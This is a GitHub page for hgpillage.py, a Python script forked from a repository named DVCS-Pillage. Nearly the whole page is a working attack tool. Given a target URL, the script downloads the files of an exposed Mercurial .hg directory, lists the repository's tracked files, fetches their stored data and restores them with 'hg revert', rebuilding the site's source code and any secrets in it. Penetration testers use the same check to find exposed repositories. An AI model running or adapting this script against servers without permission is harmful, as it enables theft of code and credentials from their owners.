forked from evilpacket/DVCS-Pillage
-
Notifications
You must be signed in to change notification settings - Fork 0
/
hgpillage.py
executable file
·126 lines (109 loc) · 3.89 KB
/
hgpillage.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/python
import urllib
import urllib2
import subprocess
import argparse
import os
from urlparse import urlparse
from mercurial import store,commands,ui,hg
STATIC_FILES = [
'.hg/00changelog.i',
'.hg/dirstate',
'.hg/requires',
'.hg/branch',
'.hg/branchheads.cache',
'.hg/last-message.txt',
'.hg/tags.cache',
'.hg/undo.branch',
'.hg/undo.desc',
'.hg/undo.dirstate',
'.hg/store/00changelog.i',
'.hg/store/00changelog.d',
'.hg/store/00manifest.i',
'.hg/store/00manifest.d',
'.hg/store/fncache',
'.hg/store/undo',
'.hg/.hgignore',
]
parser = argparse.ArgumentParser(description='Pillage a mercurial (HG) repository.')
parser.add_argument('url', nargs="+", help="base url e.g. http://example.com")
parser.add_argument('-f','--file', help='Pillage single file')
args = parser.parse_args()
# Setup our base dir
URL = urlparse(args.url[0])
LOCAL_BASE_DIR = "%s" % (URL.hostname)
if URL.hostname != None:
# TODO: Check if already exists before trying to create
if not os.path.exists(LOCAL_BASE_DIR):
os.makedirs(LOCAL_BASE_DIR)
else:
print "URL does not have a hostname"
exit
def get(filename,encode=False):
if encode:
filename = store.encodefilename(filename)
print filename
dir = os.path.join(LOCAL_BASE_DIR,os.path.dirname(filename))
if not os.path.exists(dir):
os.makedirs(dir)
try:
url = "%s/%s" % (URL.geturl(),filename)
f = urllib2.urlopen(url)
local_file = open(os.path.join(LOCAL_BASE_DIR,filename),"w")
local_file.write(f.read())
local_file.close()
except urllib2.HTTPError, e:
print "HTTP ERROR:",e.code, url
except urllib2.URLError, e:
print "URL ERROR:",e.reason, url
# 1 - Get predictable file names from the repo
print "Getting predictable files"
for filename in STATIC_FILES:
if not os.path.exists(os.path.join(LOCAL_BASE_DIR,filename)):
get(filename)
else:
print "Skipping file as it already exists: %s" % (filename)
# If we want a single file. Do that here. This code sucks and should be condensed at some point
if args.file:
file = args.file
filename = os.path.join(".hg/store/data/", store.encodefilename(file)+".i")
if not os.path.exists(os.path.join(LOCAL_BASE_DIR,filename)):
get(filename)
print "Getting %s" % (filename)
else:
print "Already exists, skipping %s" % (filename)
# Ugly but I don't care right now (going for working, not pretty)
filename = os.path.join(".hg/store/data/", store.encodefilename(file)+".d")
if not os.path.exists(os.path.join(LOCAL_BASE_DIR,filename)):
get(filename)
print "Getting %s" % (filename)
else:
print "Already exists, skipping %s" % (filename)
# Try and restore the file. Dirty hack but whatever
os.chdir(LOCAL_BASE_DIR)
subprocess.call(["hg","revert",file])
os.chdir("..")
exit(0)
# 2 - Get list of files
repo = hg.repository(ui.ui(), LOCAL_BASE_DIR)
# 3 - ???
# 4 - Profit - Download data files and try to restore them
# TODO: Ask the user if they want to continue downloading X files
for file in repo.status()[3]:
filename = os.path.join(".hg/store/data/", store.encodefilename(file)+".i")
if not os.path.exists(os.path.join(LOCAL_BASE_DIR,filename)):
get(filename)
print "Getting %s" % (filename)
else:
print "Already exists, skipping %s" % (filename)
# Ugly but I don't care right now (going for working, not pretty)
filename = os.path.join(".hg/store/data/", store.encodefilename(file)+".d")
if not os.path.exists(os.path.join(LOCAL_BASE_DIR,filename)):
get(filename)
print "Getting %s" % (filename)
else:
print "Already exists, skipping %s" % (filename)
# Try and restore the file. Dirty hack but whatever
os.chdir(LOCAL_BASE_DIR)
subprocess.call(["hg","revert",file])
os.chdir("..")